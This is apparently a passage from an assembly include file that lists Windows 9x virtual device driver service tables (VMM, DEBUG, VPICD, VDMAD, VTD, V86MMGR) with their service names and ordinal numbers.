VMM_Service Wait_Semaphore ; 0x0027 ord
VMM_Service Signal_Semaphore ; 0x0028 ord
VMM_Service Get_Crit_Section_Status ; 0x0029 ord
VMM_Service Call_When_Task_Switched ; 0x002a ord
VMM_Service Suspend_VM ; 0x002b ord
VMM_Service Resume_VM ; 0x002c ord
VMM_Service No_Fail_Resume_VM ; 0x002d ord
VMM_Service Nuke_VM ; 0x002e ord
VMM_Service Crash_Cur_VM ; 0x002f ord
VMM_Service Get_Execution_Focus ; 0x0030 ord
VMM_Service Set_Execution_Focus ; 0x0031 ord
VMM_Service Get_Time_Slice_Priority ; 0x0032 ord
VMM_Service Set_Time_Slice_Priority ; 0x0033 ord
VMM_Service Get_Time_Slice_Granularity ; 0x0034 ord
VMM_Service Set_Time_Slice_Granularity ; 0x0035 ord
VMM_Service Get_Time_Slice_Info ; 0x0036 ord
VMM_Service Adjust_Execution_Time ; 0x0037 ord
VMM_Service Release_Time_Slice ; 0x0038 ord
VMM_Service Wake_Up_VM ; 0x0039 ord
VMM_Service Call_When_Idle ; 0x003a ord
VMM_Service Get_Next_VM_Handle ; 0x003b ord
VMM_Service Set_Global_Time_Out ; 0x003c ord
VMM_Service Set_VM_Time_Out ; 0x003d ord
VMM_Service Cancel_Time_Out ; 0x003e ord
VMM_Service Get_System_Time ; 0x003f ord
VMM_Service Get_VM_Exec_Time ; 0x0040 ord
VMM_Service Hook_V86_Int_Chain ; 0x0041 ord
VMM_Service Get_V86_Int_Vector ; 0x0042 ord
VMM_Service Set_V86_Int_Vector ; 0x0043 ord
VMM_Service Get_PM_Int_Vector ; 0x0044 ord
VMM_Service Set_PM_Int_Vector ; 0x0045 ord
VMM_Service Simulate_Int ; 0x0046 ord
VMM_Service Simulate_Iret ; 0x0047 ord
VMM_Service Simulate_Far_Call ; 0x0048 ord
VMM_Service Simulate_Far_Jmp ; 0x0049 ord
VMM_Service Simulate_Far_Ret ; 0x004a ord
VMM_Service Simulate_Far_Ret_N ; 0x004b ord
VMM_Service Build_Int_Stack_Frame ; 0x004c ord
VMM_Service Simulate_Push ; 0x004d ord
VMM_Service Simulate_Pop ; 0x004e ord
VMM_Service _HeapAllocate ; 0x004f ord
VMM_Service _HeapReAllocate ; 0x0050 ord
VMM_Service _HeapFree ; 0x0051 ord
VMM_Service _HeapGetSize ; 0x0052 ord
VMM_Service _PageAllocate ; 0x0053 ord
VMM_Service _PageReAllocate ; 0x0054 ord
VMM_Service _PageFree ; 0x0055 ord
VMM_Service _PageLock ; 0x0056 ord
VMM_Service _PageUnLock ; 0x0057 ord
VMM_Service _PageGetSizeAddr ; 0x0058 ord
VMM_Service _PageGetAllocInfo ; 0x0059 ord
VMM_Service _GetFreePageCount ; 0x005a ord
VMM_Service _GetSysPageCount ; 0x005b ord
VMM_Service _GetVMPgCount ; 0x005c ord
VMM_Service _MapIntoV86 ; 0x005d ord
VMM_Service _PhysIntoV86 ; 0x005e ord
VMM_Service _TestGlobalV86Mem ; 0x005f ord
VMM_Service _ModifyPageBits ; 0x0060 ord
VMM_Service _CopyPageTable ; 0x0061 ord
VMM_Service _LinMapIntoV86 ; 0x0062 ord
VMM_Service _LinPageLock ; 0x0063 ord
VMM_Service _LinPageUnLock ; 0x0064 ord
VMM_Service _SetResetV86Pageable ; 0x0065 ord
VMM_Service _GetV86PageableArray ; 0x0066 ord
VMM_Service _PageCheckLinRange ; 0x0067 ord
VMM_Service _PageOutDirtyPages ; 0x0068 ord
VMM_Service _PageDiscardPages ; 0x0069 ord
VMM_Service _GetNulPageHandle ; 0x006a ord
VMM_Service _GetFirstV86Page ; 0x006b ord
VMM_Service _MapPhysToLinear ; 0x006c ord
VMM_Service _GetAppFlatDSAlias ; 0x006d ord
VMM_Service _SelectorMapFlat ; 0x006e ord
VMM_Service _GetDemandPageInfo ; 0x006f ord
VMM_Service _GetSetPageOutCount ; 0x0070 ord
VMM_Service Hook_V86_Page ; 0x0071 ord
VMM_Service _Assign_Device_V86_Pages ; 0x0072 ord
VMM_Service _DeAssign_Device_V86_Pages ; 0x0073 ord
VMM_Service _Get_Device_V86_Pages_Array ; 0x0074 ord
VMM_Service MMGR_SetNULPageAddr ; 0x0075 ord
VMM_Service _Allocate_GDT_Selector ; 0x0076 ord
VMM_Service _Free_GDT_Selector ; 0x0077 ord
VMM_Service _Allocate_LDT_Selector ; 0x0078 ord
VMM_Service _Free_LDT_Selector ; 0x0079 ord
VMM_Service _BuildDescriptorDWORDs ; 0x007a ord
VMM_Service _GetDescriptor ; 0x007b ord
VMM_Service _SetDescriptor ; 0x007c ord
VMM_Service _MMGR_Toggle_HMA ; 0x007d ord
VMM_Service Get_Fault_Hook_Addrs ; 0x007e ord
VMM_Service Hook_V86_Fault ; 0x007f ord
VMM_Service Hook_PM_Fault ; 0x0080 ord
VMM_Service Hook_VMM_Fault ; 0x0081 ord
VMM_Service Begin_Nest_V86_Exec ; 0x0082 ord
VMM_Service Begin_Nest_Exec ; 0x0083 ord
VMM_Service Exec_Int ; 0x0084 ord
VMM_Service Resume_Exec ; 0x0085 ord
VMM_Service End_Nest_Exec ; 0x0086 ord
VMM_Service Allocate_PM_App_CB_Area ; 0x0087 ord
VMM_Service Get_Cur_PM_App_CB ; 0x0088 ord
VMM_Service Set_V86_Exec_Mode ; 0x0089 ord
VMM_Service Set_PM_Exec_Mode ; 0x008a ord
VMM_Service Begin_Use_Locked_PM_Stack ; 0x008b ord
VMM_Service End_Use_Locked_PM_Stack ; 0x008c ord
VMM_Service Save_Client_State ; 0x008d ord
VMM_Service Restore_Client_State ; 0x008e ord
VMM_Service Exec_VxD_Int ; 0x008f ord
VMM_Service Hook_Device_Service ; 0x0090 ord
VMM_Service Hook_Device_V86_API ; 0x0091 ord
VMM_Service Hook_Device_PM_API ; 0x0092 ord
VMM_Service System_Control ; 0x0093 ord
VMM_Service Simulate_IO ; 0x0094 ord
VMM_Service Install_Mult_IO_Handlers ; 0x0095 ord
VMM_Service Install_IO_Handler ; 0x0096 ord
VMM_Service Enable_Global_Trapping ; 0x0097 ord
VMM_Service Enable_Local_Trapping ; 0x0098 ord
VMM_Service Disable_Global_Trapping ; 0x0099 ord
VMM_Service Disable_Local_Trapping ; 0x009a ord
VMM_Service List_Create ; 0x009b ord
VMM_Service List_Destroy ; 0x009c ord
VMM_Service List_Allocate ; 0x009d ord
VMM_Service List_Attach ; 0x009e ord
VMM_Service List_Attach_Tail ; 0x009f ord
VMM_Service List_Insert ; 0x00a0 ord
VMM_Service List_Remove ; 0x00a1 ord
VMM_Service List_Deallocate ; 0x00a2 ord
VMM_Service List_Get_First ; 0x00a3 ord
VMM_Service List_Get_Next ; 0x00a4 ord
VMM_Service List_Remove_First ; 0x00a5 ord
VMM_Service _AddInstanceItem ; 0x00a6 ord
VMM_Service _Allocate_Device_CB_Area ; 0x00a7 ord
VMM_Service _Allocate_Global_V86_Data_Area ; 0x00a8 ord
VMM_Service _Allocate_Temp_V86_Data_Area ; 0x00a9 ord
VMM_Service _Free_Temp_V86_Data_Area ; 0x00aa ord
VMM_Service Get_Profile_Decimal_Int ; 0x00ab ord
VMM_Service Convert_Decimal_String ; 0x00ac ord
VMM_Service Get_Profile_Fixed_Point ; 0x00ad ord
VMM_Service Convert_Fixed_Point_String ; 0x00ae ord
VMM_Service Get_Profile_Hex_Int ; 0x00af ord
VMM_Service Convert_Hex_String ; 0x00b0 ord
VMM_Service Get_Profile_Boolean ; 0x00b1 ord
VMM_Service Convert_Boolean_String ; 0x00b2 ord
VMM_Service Get_Profile_String ; 0x00b3 ord
VMM_Service Get_Next_Profile_String ; 0x00b4 ord
VMM_Service Get_Environment_String ; 0x00b5 ord
VMM_Service Get_Exec_Path ; 0x00b6 ord
VMM_Service Get_Config_Directory ; 0x00b7 ord
VMM_Service OpenFile ; 0x00b8 ord
VMM_Service Get_PSP_Segment ; 0x00b9 ord
VMM_Service GetDOSVectors ; 0x00ba ord
VMM_Service Get_Machine_Info ; 0x00bb ord
VMM_Service GetSet_HMA_Info ; 0x00bc ord
VMM_Service Set_System_Exit_Code ; 0x00bd ord
VMM_Service Fatal_Error_Handler ; 0x00be ord
VMM_Service Fatal_Memory_Error ; 0x00bf ord
VMM_Service Update_System_Clock ; 0x00c0 ord
VMM_Service Test_Debug_Installed ; 0x00c1 ord
VMM_Service Out_Debug_String ; 0x00c2 ord
VMM_Service Out_Debug_Chr ; 0x00c3 ord
VMM_Service In_Debug_Chr ; 0x00c4 ord
VMM_Service Debug_Convert_Hex_Binary ; 0x00c5 ord
VMM_Service Debug_Convert_Hex_Decimal ; 0x00c6 ord
VMM_Service Debug_Test_Valid_Handle ; 0x00c7 ord
VMM_Service Validate_Client_Ptr ; 0x00c8 ord
VMM_Service Test_Reenter ; 0x00c9 ord
VMM_Service Queue_Debug_String ; 0x00ca ord
VMM_Service Log_Proc_Call ; 0x00cb ord
VMM_Service Debug_Test_Cur_VM ; 0x00cc ord
VMM_Service Get_PM_Int_Type ; 0x00cd ord
VMM_Service Set_PM_Int_Type ; 0x00ce ord
VMM_Service Get_Last_Updated_System_Time ; 0x00cf ord
VMM_Service Get_Last_Updated_VM_Exec_Time ; 0x00d0 ord
VMM_Service Test_DBCS_Lead_Byte ; 0x00d1 ord
VMM_Service _AddFreePhysPage ; 0x00d2 ord
VMM_Service _PageResetHandlePAddr ; 0x00d3 ord
VMM_Service _SetLastV86Page ; 0x00d4 ord
VMM_Service _GetLastV86Page ; 0x00d5 ord
VMM_Service _MapFreePhysReg ; 0x00d6 ord
VMM_Service _UnmapFreePhysReg ; 0x00d7 ord
VMM_Service _XchgFreePhysReg ; 0x00d8 ord
VMM_Service _SetFreePhysRegCalBk ; 0x00d9 ord
VMM_Service Get_Next_Arena ; 0x00da ord
VMM_Service Get_Name_Of_Ugly_TSR ; 0x00db ord
VMM_Service Get_Debug_Options ; 0x00dc ord
VMM_Service Set_Physical_HMA_Alias ; 0x00dd ord
VMM_Service _GetGlblRng0V86IntBase ; 0x00de ord
VMM_Service _Add_Global_V86_Data_Area ; 0x00df ord
VMM_Service GetSetDetailedVMError ; 0x00e0 ord
VMM_Service Is_Debug_Chr ; 0x00e1 ord
VMM_Service Clear_Mono_Screen ; 0x00e2 ord
VMM_Service Out_Mono_Chr ; 0x00e3 ord
VMM_Service Out_Mono_String ; 0x00e4 ord
VMM_Service Set_Mono_Cur_Pos ; 0x00e5 ord
VMM_Service Get_Mono_Cur_Pos ; 0x00e6 ord
VMM_Service Get_Mono_Chr ; 0x00e7 ord
VMM_Service Locate_Byte_In_ROM ; 0x00e8 ord
VMM_Service Hook_Invalid_Page_Fault ; 0x00e9 ord
VMM_Service Unhook_Invalid_Page_Fault ; 0x00ea ord
VMM_Service Set_Delete_On_Exit_File ; 0x00eb ord
VMM_Service Close_VM ; 0x00ec ord
VMM_Service Enable_Touch_1st_Meg ; 0x00ed ord
VMM_Service Disable_Touch_1st_Meg ; 0x00ee ord
VMM_Service Install_Exception_Handler ; 0x00ef ord
VMM_Service Remove_Exception_Handler ; 0x00f0 ord
VMM_Service Get_Crit_Status_No_Block ; 0x00f1 ord
VMM_Service _GetLastUpdatedThreadExecTime ; 0x00f2 ord
VMM_Service _Trace_Out_Service ; 0x00f3 ord
VMM_Service _Debug_Out_Service ; 0x00f4 ord
VMM_Service _Debug_Flags_Service ; 0x00f5 ord
VMM_Service VMMAddImportModuleName ; 0x00f6 ord
VMM_Service VMM_Add_DDB ; 0x00f7 ord
VMM_Service VMM_Remove_DDB ; 0x00f8 ord
VMM_Service Test_VM_Ints_Enabled ; 0x00f9 ord
VMM_Service _BlockOnID ; 0x00fa ord
VMM_Service Schedule_Thread_Event ; 0x00fb ord
VMM_Service Cancel_Thread_Event ; 0x00fc ord
VMM_Service Set_Thread_Time_Out ; 0x00fd ord
VMM_Service Set_Async_Time_Out ; 0x00fe ord
VMM_Service _AllocateThreadDataSlot ; 0x00ff ord
VMM_Service _FreeThreadDataSlot ; 0x0100 ord
VMM_Service _CreateMutex ; 0x0101 ord
VMM_Service _DestroyMutex ; 0x0102 ord
VMM_Service _GetMutexOwner ; 0x0103 ord
VMM_Service Call_When_Thread_Switched ; 0x0104 ord
VMM_Service VMMCreateThread ; 0x0105 ord
VMM_Service _GetThreadExecTime ; 0x0106 ord
VMM_Service VMMTerminateThread ; 0x0107 ord
VMM_Service Get_Cur_Thread_Handle ; 0x0108 ord
VMM_Service Test_Cur_Thread_Handle ; 0x0109 ord
VMM_Service Get_Sys_Thread_Handle ; 0x010a ord
VMM_Service Test_Sys_Thread_Handle ; 0x010b ord
VMM_Service Validate_Thread_Handle ; 0x010c ord
VMM_Service Get_Initial_Thread_Handle ; 0x010d ord
VMM_Service Test_Initial_Thread_Handle ; 0x010e ord
VMM_Service Debug_Test_Valid_Thread_Handle ; 0x010f ord
VMM_Service Debug_Test_Cur_Thread ; 0x0110 ord
VMM_Service VMM_GetSystemInitState ; 0x0111 ord
VMM_Service Cancel_Call_When_Thread_Switched ; 0x0112 ord
VMM_Service Get_Next_Thread_Handle ; 0x0113 ord
VMM_Service Adjust_Thread_Exec_Priority ; 0x0114 ord
VMM_Service _Deallocate_Device_CB_Area ; 0x0115 ord
VMM_Service Remove_IO_Handler ; 0x0116 ord
VMM_Service Remove_Mult_IO_Handlers ; 0x0117 ord
VMM_Service Unhook_V86_Int_Chain ; 0x0118 ord
VMM_Service Unhook_V86_Fault ; 0x0119 ord
VMM_Service Unhook_PM_Fault ; 0x011a ord
VMM_Service Unhook_VMM_Fault ; 0x011b ord
VMM_Service Unhook_Device_Service ; 0x011c ord
VMM_Service _PageReserve ; 0x011d ord
VMM_Service _PageCommit ; 0x011e ord
VMM_Service _PageDecommit ; 0x011f ord
VMM_Service _PagerRegister ; 0x0120 ord
VMM_Service _PagerQuery ; 0x0121 ord
VMM_Service _PagerDeregister ; 0x0122 ord
VMM_Service _ContextCreate ; 0x0123 ord
VMM_Service _ContextDestroy ; 0x0124 ord
VMM_Service _PageAttach ; 0x0125 ord
VMM_Service _PageFlush ; 0x0126 ord
VMM_Service _SignalID ; 0x0127 ord
VMM_Service _PageCommitPhys ; 0x0128 ord
VMM_Service _Register_Win32_Services ; 0x0129 ord
VMM_Service Cancel_Call_When_Not_Critical ; 0x012a ord
VMM_Service Cancel_Call_When_Idle ; 0x012b ord
VMM_Service Cancel_Call_When_Task_Switched ; 0x012c ord
VMM_Service _Debug_Printf_Service ; 0x012d ord
VMM_Service _EnterMutex ; 0x012e ord
VMM_Service _LeaveMutex ; 0x012f ord
VMM_Service Simulate_VM_IO ; 0x0130 ord
VMM_Service Signal_Semaphore_No_Switch ; 0x0131 ord
VMM_Service _ContextSwitch ; 0x0132 ord
VMM_Service _PageModifyPermissions ; 0x0133 ord
VMM_Service _PageQuery ; 0x0134 ord
VMM_Service _EnterMustComplete ; 0x0135 ord
VMM_Service _LeaveMustComplete ; 0x0136 ord
VMM_Service _ResumeExecMustComplete ; 0x0137 ord
VMM_Service _GetThreadTerminationStatus ; 0x0138 ord
VMM_Service _GetInstanceInfo ; 0x0139 ord
VMM_Service _ExecIntMustComplete ; 0x013a ord
VMM_Service _ExecVxDIntMustComplete ; 0x013b ord
VMM_Service Begin_V86_Serialization ; 0x013c ord
VMM_Service Unhook_V86_Page ; 0x013d ord
VMM_Service VMM_GetVxDLocationList ; 0x013e ord
VMM_Service VMM_GetDDBList ; 0x013f ord
VMM_Service Unhook_NMI_Event ; 0x0140 ord
VMM_Service Get_Instanced_V86_Int_Vector ; 0x0141 ord
VMM_Service Get_Set_Real_DOS_PSP ; 0x0142 ord
VMM_Service Call_Priority_Thread_Event ; 0x0143 ord
VMM_Service Get_System_Time_Address ; 0x0144 ord
VMM_Service Get_Crit_Status_Thread ; 0x0145 ord
VMM_Service Get_DDB ; 0x0146 ord
VMM_Service Directed_Sys_Control ; 0x0147 ord
VMM_Service _RegOpenKey ; 0x0148 ord
VMM_Service _RegCloseKey ; 0x0149 ord
VMM_Service _RegCreateKey ; 0x014a ord
VMM_Service _RegDeleteKey ; 0x014b ord
VMM_Service _RegEnumKey ; 0x014c ord
VMM_Service _RegQueryValue ; 0x014d ord
VMM_Service _RegSetValue ; 0x014e ord
VMM_Service _RegDeleteValue ; 0x014f ord
VMM_Service _RegEnumValue ; 0x0150 ord
VMM_Service _RegQueryValueEx ; 0x0151 ord
VMM_Service _RegSetValueEx ; 0x0152 ord
VMM_Service _CallRing3 ; 0x0153 ord
VMM_Service Exec_PM_Int ; 0x0154 ord
VMM_Service _RegFlushKey ; 0x0155 ord
VMM_Service _PageCommitContig ; 0x0156 ord
VMM_Service _GetCurrentContext ; 0x0157 ord
VMM_Service _LocalizeSprintf ; 0x0158 ord
VMM_Service _LocalizeStackSprintf ; 0x0159 ord
VMM_Service Call_Restricted_Event ; 0x015a ord
VMM_Service Cancel_Restricted_Event ; 0x015b ord
VMM_Service Register_PEF_Provider ; 0x015c ord
VMM_Service _GetPhysPageInfo ; 0x015d ord
VMM_Service _RegQueryInfoKey ; 0x015e ord
VMM_Service MemArb_Reserve_Pages ; 0x015f ord
VMM_Service Time_Slice_Sys_VM_Idle ; 0x0160 ord
VMM_Service Time_Slice_Sleep ; 0x0161 ord
VMM_Service Boost_With_Decay ; 0x0162 ord
VMM_Service Set_Inversion_Pri ; 0x0163 ord
VMM_Service Reset_Inversion_Pri ; 0x0164 ord
VMM_Service Release_Inversion_Pri ; 0x0165 ord
VMM_Service Get_Thread_Win32_Pri ; 0x0166 ord
VMM_Service Set_Thread_Win32_Pri ; 0x0167 ord
VMM_Service Set_Thread_Static_Boost ; 0x0168 ord
VMM_Service Set_VM_Static_Boost ; 0x0169 ord
VMM_Service Release_Inversion_Pri_ID ; 0x016a ord
VMM_Service Attach_Thread_To_Group ; 0x016b ord
VMM_Service Detach_Thread_From_Group ; 0x016c ord
VMM_Service Set_Group_Static_Boost ; 0x016d ord
VMM_Service _GetRegistryPath ; 0x016e ord
VMM_Service _GetRegistryKey ; 0x016f ord
VMM_Service Cleanup_Thread_State ; 0x0170 ord
VMM_Service _RegRemapPreDefKey ; 0x0171 ord
VMM_Service End_V86_Serialization ; 0x0172 ord
VMM_Service _Assert_Range ; 0x0173 ord
VMM_Service _Sprintf ; 0x0174 ord
VMM_Service _PageChangePager ; 0x0175 ord
VMM_Service _RegCreateDynKey ; 0x0176 ord
VMM_Service _RegQueryMultipleValues ; 0x0177 ord
VMM_Service Boost_Thread_With_VM ; 0x0178 ord
VMM_Service Get_Boot_Flags ; 0x0179 ord
VMM_Service Set_Boot_Flags ; 0x017a ord
VMM_Service _lstrcpyn ; 0x017b ord
VMM_Service _lstrlen ; 0x017c ord
VMM_Service _lmemcpy ; 0x017d ord
VMM_Service _GetVxDName ; 0x017e ord
VMM_Service Force_Mutexes_Free ; 0x017f ord
VMM_Service Restore_Forced_Mutexes ; 0x0180 ord
VMM_Service _AddReclaimableItem ; 0x0181 ord
VMM_Service _SetReclaimableItem ; 0x0182 ord
VMM_Service _EnumReclaimableItem ; 0x0183 ord
VMM_Service Time_Slice_Wake_Sys_VM ; 0x0184 ord
VMM_Service VMM_Replace_Global_Environment ; 0x0185 ord
VMM_Service Begin_Non_Serial_Nest_V86_Exec ; 0x0186 ord
VMM_Service Get_Nest_Exec_Status ; 0x0187 ord
VMM_Service Open_Boot_Log ; 0x0188 ord
VMM_Service Write_Boot_Log ; 0x0189 ord
VMM_Service Close_Boot_Log ; 0x018a ord
VMM_Service EnableDisable_Boot_Log ; 0x018b ord
VMM_Service _Call_On_My_Stack ; 0x018c ord
VMM_Service Get_Inst_V86_Int_Vec_Base ; 0x018d ord
VMM_Service _lstrcmpi ; 0x018e ord
VMM_Service _strupr ; 0x018f ord
VMM_Service Log_Fault_Call_Out ; 0x0190 ord
VMM_Service _AtEventTime ; 0x0191 ord

%ifdef WIN403SERVICES
VMM_Service _PageOutPages ; 0x0192 ord
VMM_Service _Call_On_My_Not_Flat_Stack ; 0x0193 ord
VMM_Service _LinRegionLock ; 0x0194 ord
VMM_Service _LinRegionUnLock ; 0x0195 ord
VMM_Service _AttemptingSomethingDangerous ; 0x0196 ord
VMM_Service _Vsprintf ; 0x0197 ord
VMM_Service _Vsprintfw ; 0x0198 ord
VMM_Service Load_FS_Service ; 0x0199 ord
VMM_Service Assert_FS_Service ; 0x019a ord
VMM_Service ObsoleteRtlUnwind ; 0x019b ord
VMM_Service ObsoleteRtlRaiseException ; 0x019c ord
VMM_Service ObsoleteRtlRaiseStatus ; 0x019d ord
VMM_Service ObsoleteKeGetCurrentIrql ; 0x019e ord
VMM_Service ObsoleteKfRaiseIrql ; 0x019f ord
VMM_Service ObsoleteKfLowerIrql ; 0x01a0 ord
VMM_Service _Begin_Preemptable_Code ; 0x01a1 ord
VMM_Service _End_Preemptable_Code ; 0x01a2 ord
VMM_Service Set_Preemptable_Count ; 0x01a3 ord
VMM_Service ObsoleteKeInitializeDpc ; 0x01a4 ord
VMM_Service ObsoleteKeInsertQueueDpc ; 0x01a5 ord
VMM_Service ObsoleteKeRemoveQueueDpc ; 0x01a6 ord
VMM_Service HeapAllocateEx ; 0x01a7 ord
VMM_Service HeapReAllocateEx ; 0x01a8 ord
VMM_Service HeapGetSizeEx ; 0x01a9 ord
VMM_Service HeapFreeEx ; 0x01aa ord
VMM_Service _Get_CPUID_Flags ; 0x01ab ord
VMM_Service KeCheckDivideByZeroTrap ; 0x01ac ord
%endif

%ifdef WIN41SERVICES
VMM_Service _RegisterGARTHandler ; 0x01ad ord
VMM_Service _GARTReserve ; 0x01ae ord
VMM_Service _GARTCommit ; 0x01af ord
VMM_Service _GARTUnCommit ; 0x01b0 ord
VMM_Service _GARTFree ; 0x01b1 ord
VMM_Service _GARTMemAttributes ; 0x01b2 ord
VMM_Service KfRaiseIrqlToDpcLevel ; 0x01b3 ord
VMM_Service VMMCreateThreadEx ; 0x01b4 ord
VMM_Service _FlushCaches ; 0x01b5 ord
VMM_Service Set_Thread_Win32_Pri_NoYield ; 0x01b6 ord
VMM_Service _FlushMappedCacheBlock ; 0x01b7 ord
VMM_Service _ReleaseMappedCacheBlock ; 0x01b8 ord
VMM_Service Run_Preemptable_Events ; 0x01b9 ord
VMM_Service _MMPreSystemExit ; 0x01ba ord
VMM_Service _MMPageFileShutDown ; 0x01bb ord
VMM_Service _Set_Global_Time_Out_Ex ; 0x01bc ord
VMM_Service Query_Thread_Priority ; 0x01bd ord
%endif
End_Service_Table VMM

Begin_Service_Table DEBUG ; 0x0002


DEBUG_Service DEBUG_Get_Version ; 0x0000 ord
DEBUG_Service DEBUG_Fault ; 0x0001 ord
DEBUG_Service DEBUG_CheckFault ; 0x0002 ord
DEBUG_Service _DEBUG_LoadSyms ; 0x0003 ord
End_Service_Table DEBUG

Begin_Service_Table VPICD ; 0x0003


VPICD_Service VPICD_Get_Version ; 0x0000 ord
VPICD_Service VPICD_Virtualize_IRQ ; 0x0001 ord
VPICD_Service VPICD_Set_Int_Request ; 0x0002 ord
VPICD_Service VPICD_Clear_Int_Request ; 0x0003 ord
VPICD_Service VPICD_Phys_EOI ; 0x0004 ord
VPICD_Service VPICD_Get_Complete_Status ; 0x0005 ord
VPICD_Service VPICD_Get_Status ; 0x0006 ord
VPICD_Service VPICD_Test_Phys_Request ; 0x0007 ord
VPICD_Service VPICD_Physically_Mask ; 0x0008 ord
VPICD_Service VPICD_Physically_Unmask ; 0x0009 ord
VPICD_Service VPICD_Set_Auto_Masking ; 0x000a ord
VPICD_Service VPICD_Get_IRQ_Complete_Status ; 0x000b ord
VPICD_Service VPICD_Convert_Handle_To_IRQ ; 0x000c ord
VPICD_Service VPICD_Convert_IRQ_To_Int ; 0x000d ord
VPICD_Service VPICD_Convert_Int_To_IRQ ; 0x000e ord
VPICD_Service VPICD_Call_When_Hw_Int ; 0x000f ord
VPICD_Service VPICD_Force_Default_Owner ; 0x0010 ord
VPICD_Service VPICD_Force_Default_Behavior ; 0x0011 ord
VPICD_Service VPICD_Auto_Mask_At_Inst_Swap ; 0x0012 ord
VPICD_Service VPICD_Begin_Inst_Page_Swap ; 0x0013 ord
VPICD_Service VPICD_End_Inst_Page_Swap ; 0x0014 ord
VPICD_Service VPICD_Virtual_EOI ; 0x0015 ord
VPICD_Service VPICD_Get_Virtualization_Count ; 0x0016 ord
VPICD_Service VPICD_Post_Sys_Critical_Init ; 0x0017 ord
VPICD_Service VPICD_VM_SlavePIC_Mask_Change ; 0x0018 ord
VPICD_Service _VPICD_Clear_IR_Bits ; 0x0019 ord
VPICD_Service _VPICD_Get_Level_Mask ; 0x001a ord
VPICD_Service _VPICD_Set_Level_Mask ; 0x001b ord
VPICD_Service _VPICD_Set_Irql_Mask ; 0x001c ord
VPICD_Service _VPICD_Set_Channel_Irql ; 0x001d ord
VPICD_Service _VPICD_Prepare_For_Shutdown ; 0x001e ord
VPICD_Service _VPICD_Register_Trigger_Handler ; 0x001f ord
End_Service_Table VPICD

Begin_Service_Table VDMAD ; 0x0004


VDMAD_Service VDMAD_Get_Version ; 0x0000 ord
VDMAD_Service VDMAD_Virtualize_Channel ; 0x0001 ord
VDMAD_Service VDMAD_Get_Region_Info ; 0x0002 ord
VDMAD_Service VDMAD_Set_Region_Info ; 0x0003 ord
VDMAD_Service VDMAD_Get_Virt_State ; 0x0004 ord
VDMAD_Service VDMAD_Set_Virt_State ; 0x0005 ord
VDMAD_Service VDMAD_Set_Phys_State ; 0x0006 ord
VDMAD_Service VDMAD_Mask_Channel ; 0x0007 ord
VDMAD_Service VDMAD_UnMask_Channel ; 0x0008 ord
VDMAD_Service VDMAD_Lock_DMA_Region ; 0x0009 ord
VDMAD_Service VDMAD_Unlock_DMA_Region ; 0x000a ord
VDMAD_Service VDMAD_Scatter_Lock ; 0x000b ord
VDMAD_Service VDMAD_Scatter_Unlock ; 0x000c ord
VDMAD_Service VDMAD_Reserve_Buffer_Space ; 0x000d ord
VDMAD_Service VDMAD_Request_Buffer ; 0x000e ord
VDMAD_Service VDMAD_Release_Buffer ; 0x000f ord
VDMAD_Service VDMAD_Copy_To_Buffer ; 0x0010 ord
VDMAD_Service VDMAD_Copy_From_Buffer ; 0x0011 ord
VDMAD_Service VDMAD_Default_Handler ; 0x0012 ord
VDMAD_Service VDMAD_Disable_Translation ; 0x0013 ord
VDMAD_Service VDMAD_Enable_Translation ; 0x0014 ord
VDMAD_Service VDMAD_Get_EISA_Adr_Mode ; 0x0015 ord
VDMAD_Service VDMAD_Set_EISA_Adr_Mode ; 0x0016 ord
VDMAD_Service VDMAD_Unlock_DMA_Region_No_Dirty ; 0x0017 ord
VDMAD_Service VDMAD_Phys_Mask_Channel ; 0x0018 ord
VDMAD_Service VDMAD_Phys_Unmask_Channel ; 0x0019 ord
VDMAD_Service VDMAD_Unvirtualize_Channel ; 0x001a ord
VDMAD_Service VDMAD_Set_IO_Address ; 0x001b ord
VDMAD_Service VDMAD_Get_Phys_Count ; 0x001c ord
VDMAD_Service VDMAD_Get_Phys_Status ; 0x001d ord
VDMAD_Service VDMAD_Get_Max_Phys_Page ; 0x001e ord
VDMAD_Service VDMAD_Set_Channel_Callbacks ; 0x001f ord
VDMAD_Service VDMAD_Get_Virt_Count ; 0x0020 ord
VDMAD_Service VDMAD_Set_Virt_Count ; 0x0021 ord
VDMAD_Service VDMAD_Get_Virt_Address ; 0x0022 ord
VDMAD_Service VDMAD_Set_Virt_Address ; 0x0023 ord
End_Service_Table VDMAD

Begin_Service_Table VTD ; 0x0005


VTD_Service VTD_Get_Version ; 0x0000 ord
VTD_Service VTD_Update_System_Clock ; 0x0001 ord
VTD_Service VTD_Get_Interrupt_Period ; 0x0002 ord
VTD_Service VTD_Begin_Min_Int_Period ; 0x0003 ord
VTD_Service VTD_End_Min_Int_Period ; 0x0004 ord
VTD_Service VTD_Disable_Trapping ; 0x0005 ord
VTD_Service VTD_Enable_Trapping ; 0x0006 ord
VTD_Service VTD_Get_Real_Time ; 0x0007 ord
VTD_Service VTD_Get_Date_And_Time ; 0x0008 ord
VTD_Service VTD_Adjust_VM_Count ; 0x0009 ord
VTD_Service VTD_Delay ; 0x000a ord
VTD_Service VTD_GetTimeZoneBias ; 0x000b ord
VTD_Service ObsoleteKeQueryPerformanceCounter ; 0x000c ord
VTD_Service ObsoleteKeQuerySystemTime ; 0x000d ord
VTD_Service VTD_Install_IO_Handle ; 0x000e ord
VTD_Service VTD_Remove_IO_Handle ; 0x000f ord
VTD_Service _VTD_Delay_Ex ; 0x0010 ord
VTD_Service VTD_Init_Timer ; 0x0011 ord
End_Service_Table VTD

Begin_Service_Table V86MMGR ; 0x0006


V86MMGR_Service V86MMGR_Get_Version ; 0x0000 ord
V86MMGR_Service V86MMGR_Allocate_V86_Pages ; 0x0001 ord
V86MMGR_Service V86MMGR_Set_EMS_XMS_Limits ; 0x0002 ord
V86MMGR_Service V86MMGR_Get_EMS_XMS_Limits ; 0x0003 ord
V86MMGR_Service V86MMGR_Set_Mapping_Info ; 0x0004 ord
V86MMGR_Service V86MMGR_Get_Mapping_Info ; 0x0005 ord
V86MMGR_Service V86MMGR_Xlat_API ; 0x0006 ord
V86MMGR_Service V86MMGR_Load_Client_Ptr ; 0x0007 ord
V86MMGR_Service V86MMGR_Allocate_Buffer ; 0x0008 ord
V86MMGR_Service V86MMGR_Free_Buffer ; 0x0009 ord
V86MMGR_Service V86MMGR_Get_Xlat_Buff_State ; 0x000a ord
V86MMGR_Service V86MMGR_Set_Xlat_Buff_State ; 0x000b ord
V86MMGR_Service V86MMGR_Get_VM_Flat_Sel ; 0x000c ord
V86MMGR_Service V86MMGR_Map_Pages ; 0x000d ord
V86MMGR_Service V86MMGR_Free_Page_Map_Region ; 0x000e ord
